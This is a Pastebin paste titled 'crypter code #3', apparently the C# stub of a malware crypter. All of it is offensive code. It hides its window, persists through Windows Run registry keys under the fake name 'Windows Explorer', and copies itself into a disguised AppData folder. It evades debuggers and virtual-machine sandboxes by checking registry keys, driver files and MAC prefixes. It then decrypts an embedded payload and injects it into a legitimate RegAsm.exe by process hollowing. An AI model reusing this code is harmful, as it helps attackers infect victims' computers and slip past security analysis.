KekSec

crypter code #3

Jun 22nd, 2020
1,430
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 10.48 KB | None | 0 0
  1.         public static string installDir = Environment.GetEnvironmentVariable("appdata") + "\\Windows .NET Framework";
  2.         public static string installLoc = installDir + "\\RegAsm.exe";
  3.         public static string myreg = "Windows Explorer";
  4.         public static void AddStartup()
  5.         {
  6.             try
  7.             {
  8.                 RegistryKey sKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  9.                 if (sKey.GetValue(myreg) == null)
  10.                 {
  11.                     sKey.SetValue(myreg, installLoc);
  12.                     sKey.Close();
  13.                 }
  14.                 else
  15.                 {
  16.                     try
  17.                     {
  18.                         RegistryKey cKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  19.                         if (cKey.GetValue(myreg) == null)
  20.                         {
  21.  
  22.                             cKey.SetValue(myreg, installLoc);
  23.  
  24.                         }
  25.                         else { }
  26.                     }
  27.                     catch { }
  28.                     try
  29.                     {
  30.                         RegistryKey cKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  31.                         if (cKey.GetValue(myreg) == null)
  32.                         {
  33.  
  34.                             cKey.SetValue(myreg, installLoc);
  35.  
  36.                         }
  37.                         else { }
  38.                     }
  39.                     catch { }
  40.  
  41.                 }
  42.  
  43.             }
  44.             catch { }
  45.  
  46.  
  47.         }
  48.         public static void EnvSetup()
  49.         {
  50.             if (System.Reflection.Assembly.GetExecutingAssembly().Location != installLoc)
  51.             {
  52.                 try
  53.                 {
  54.                     if (!Directory.Exists(installDir))
  55.                     {
  56.                         Directory.CreateDirectory(installDir);
  57.                     }
  58.                     File.Copy(System.Reflection.Assembly.GetExecutingAssembly().Location, installLoc);
  59.                 }
  60.                 catch { }
  61.             }
  62.             else { }
  63.             AddStartup();
  64.         }
  65.  
  66.         [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
  67.         public static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);
  68.  
  69.         [DllImport("kernel32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
  70.         internal static extern bool IsDebuggerPresent();
  71.         public Form1()
  72.         {
  73.             InitializeComponent();
  74.             SetVisibleCore(false);
  75.             // get application GUID as defined in AssemblyInfo.cs
  76.             string appGuid =
  77.                 ((GuidAttribute)Assembly.GetExecutingAssembly().
  78.                     GetCustomAttributes(typeof(GuidAttribute), false).
  79.                         GetValue(0)).Value.ToString();
  80.  
  81.             // unique id for global mutex - Global prefix means it is global to the machine
  82.             string mutexId = string.Format("Global\\{{{0}}}", appGuid);
  83.  
  84.             // Need a place to store a return value in Mutex() constructor call
  85.             bool createdNew;
  86.  
  87.             // edited by Jeremy Wiebe to add example of setting up security for multi-user usage
  88.             // edited by 'Marc' to work also on localized systems (don't use just "Everyone")
  89.             var allowEveryoneRule =
  90.                 new MutexAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid
  91.                                                            , null)
  92.                                    , MutexRights.FullControl
  93.                                    , AccessControlType.Allow
  94.                                    );
  95.             var securitySettings = new MutexSecurity();
  96.             securitySettings.AddAccessRule(allowEveryoneRule);
  97.  
  98.             // edited by MasonGZhwiti to prevent race condition on security settings via VanNguyen
  99.             using (var mutex = new Mutex(false, mutexId, out createdNew, securitySettings))
  100.             {
  101.                 // edited by acidzombie24
  102.                 var hasHandle = false;
  103.                 try
  104.                 {
  105.                     // note, you may want to time out here instead of waiting forever
  106.                     // edited by acidzombie24
  107.                     // mutex.WaitOne(Timeout.Infinite, false);
  108.                     hasHandle = mutex.WaitOne(5000, false);
  109.                     if (hasHandle == false)
  110.                         throw new TimeoutException("Timeout waiting for exclusive access");
  111.                 }
  112.                 catch (AbandonedMutexException)
  113.                 {
  114.                     // Log the fact that the mutex was abandoned in another process,
  115.                     // it will still get acquired
  116.                     hasHandle = true;
  117.                 }
  118.                 bool isRemoteDebuggerPresent = false;
  119.                 CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isRemoteDebuggerPresent);
  120.                 List<string> EvidenceOfSandbox = new List<string>();
  121.  
  122.                 List<string> sandboxStrings = new List<string> { "vmware", "virtualbox", "vbox", "qemu", "xen" };
  123.  
  124.                 string[] HKLM_Keys_To_Check_Exist = {@"HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0\Identifier",
  125.                 @"SYSTEM\CurrentControlSet\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S",
  126.                 @"SYSTEM\CurrentControlSet\Control\CriticalDeviceDatabase\root#vmwvmcihostdev",
  127.                 @"SYSTEM\CurrentControlSet\Control\VirtualDeviceDrivers",
  128.                 @"SOFTWARE\VMWare, Inc.\VMWare Tools",
  129.                 @"SOFTWARE\Oracle\VirtualBox Guest Additions",
  130.                 @"HARDWARE\ACPI\DSDT\VBOX_"};
  131.  
  132.                 string[] HKLM_Keys_With_Values_To_Parse = {@"SYSTEM\ControlSet001\Services\Disk\Enum\0",
  133.                 @"HARDWARE\Description\System\SystemBiosInformation",
  134.                 @"HARDWARE\Description\System\VideoBiosVersion",
  135.                 @"HARDWARE\Description\System\SystemManufacturer",
  136.                 @"HARDWARE\Description\System\SystemProductName",
  137.                 @"HARDWARE\Description\System\Logical Unit Id 0"};
  138.  
  139.                 foreach (string HKLM_Key in HKLM_Keys_To_Check_Exist)
  140.                 {
  141.                     RegistryKey OpenedKey = Registry.LocalMachine.OpenSubKey(HKLM_Key, false);
  142.                     if (OpenedKey != null)
  143.                     {
  144.                         EvidenceOfSandbox.Add(@"HKLM:\" + HKLM_Key);
  145.                     }
  146.                 }
  147.  
  148.                 foreach (string HKLM_Key in HKLM_Keys_With_Values_To_Parse)
  149.                 {
  150.                     string valueName = new DirectoryInfo(HKLM_Key).Name;
  151.                     try
  152.                     {
  153.                         string value = (string)Registry.LocalMachine.OpenSubKey(Path.GetDirectoryName(HKLM_Key), false).GetValue(valueName);
  154.                         foreach (string sandboxString in sandboxStrings)
  155.                         {
  156.                             if (!string.IsNullOrEmpty(value) && value.ToLower().Contains(sandboxString.ToLower()))
  157.                             {
  158.                                 EvidenceOfSandbox.Add(@"HKLM:\" + HKLM_Key + " => " + value);
  159.                             }
  160.                         }
  161.                     }
  162.                     catch { }
  163.                 }
  164.                 string[] FilePaths = {@"C:\windows\Sysnative\Drivers\Vmmouse.sys",
  165.         @"C:\windows\Sysnative\Drivers\vm3dgl.dll", @"C:\windows\Sysnative\Drivers\vmdum.dll",
  166.         @"C:\windows\Sysnative\Drivers\vm3dver.dll", @"C:\windows\Sysnative\Drivers\vmtray.dll",
  167.         @"C:\windows\Sysnative\Drivers\vmci.sys", @"C:\windows\Sysnative\Drivers\vmusbmouse.sys",
  168.         @"C:\windows\Sysnative\Drivers\vmx_svga.sys", @"C:\windows\Sysnative\Drivers\vmxnet.sys",
  169.         @"C:\windows\Sysnative\Drivers\VMToolsHook.dll", @"C:\windows\Sysnative\Drivers\vmhgfs.dll",
  170.         @"C:\windows\Sysnative\Drivers\vmmousever.dll", @"C:\windows\Sysnative\Drivers\vmGuestLib.dll",
  171.         @"C:\windows\Sysnative\Drivers\VmGuestLibJava.dll", @"C:\windows\Sysnative\Drivers\vmscsi.sys",
  172.         @"C:\windows\Sysnative\Drivers\VBoxMouse.sys", @"C:\windows\Sysnative\Drivers\VBoxGuest.sys",
  173.         @"C:\windows\Sysnative\Drivers\VBoxSF.sys", @"C:\windows\Sysnative\Drivers\VBoxVideo.sys",
  174.         @"C:\windows\Sysnative\vboxdisp.dll", @"C:\windows\Sysnative\vboxhook.dll",
  175.         @"C:\windows\Sysnative\vboxmrxnp.dll", @"C:\windows\Sysnative\vboxogl.dll",
  176.         @"C:\windows\Sysnative\vboxoglarrayspu.dll", @"C:\windows\Sysnative\vboxoglcrutil.dll",
  177.         @"C:\windows\Sysnative\vboxoglerrorspu.dll", @"C:\windows\Sysnative\vboxoglfeedbackspu.dll",
  178.         @"C:\windows\Sysnative\vboxoglpackspu.dll", @"C:\windows\Sysnative\vboxoglpassthroughspu.dll",
  179.         @"C:\windows\Sysnative\vboxservice.exe", @"C:\windows\Sysnative\vboxtray.exe",
  180.         @"C:\windows\Sysnative\VBoxControl.exe"};
  181.                 foreach (string FilePath in FilePaths)
  182.                 {
  183.                     if (File.Exists(FilePath))
  184.                     {
  185.                         EvidenceOfSandbox.Add(FilePath);
  186.                     }
  187.                 }
  188.                 string[] badMacAddresses = { @"000C29", @"001C14", @"005056", @"000569", @"080027" };
  189.  
  190.                 NetworkInterface[] NICs = NetworkInterface.GetAllNetworkInterfaces();
  191.                 foreach (NetworkInterface NIC in NICs)
  192.                 {
  193.                     foreach (string badMacAddress in badMacAddresses)
  194.                     {
  195.                         if (NIC.GetPhysicalAddress().ToString().ToLower().Contains(badMacAddress.ToLower()))
  196.                         {
  197.                             EvidenceOfSandbox.Add(Regex.Replace(NIC.GetPhysicalAddress().ToString(), ".{2}", "$0:").TrimEnd(':'));
  198.                         }
  199.                     }
  200.                 }
  201.  
  202.                 if (!IsDebuggerPresent() && !isRemoteDebuggerPresent && !System.Diagnostics.Debugger.IsAttached && EvidenceOfSandbox.Count == 0)
  203.                 {
  204.  
  205.  
  206.                     RunPE.Execute(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe"), Decryptor.Decrypt(Encoding.ASCII.GetBytes("DSNVLUOHFWE"), Encoding.Default.GetBytes(ThanatosCrypt.Resource1.primary)));
  207.                     EnvSetup();
  208.                 }
  209.  
  210.  
  211.                 // edited by acidzombie24, added if statement
  212.                 if (hasHandle)
  213.                     mutex.ReleaseMutex();
  214.                 Environment.Exit(0);
  215.  
  216.  
  217.             }
  218.         }
Add Comment
Please, Sign In to add comment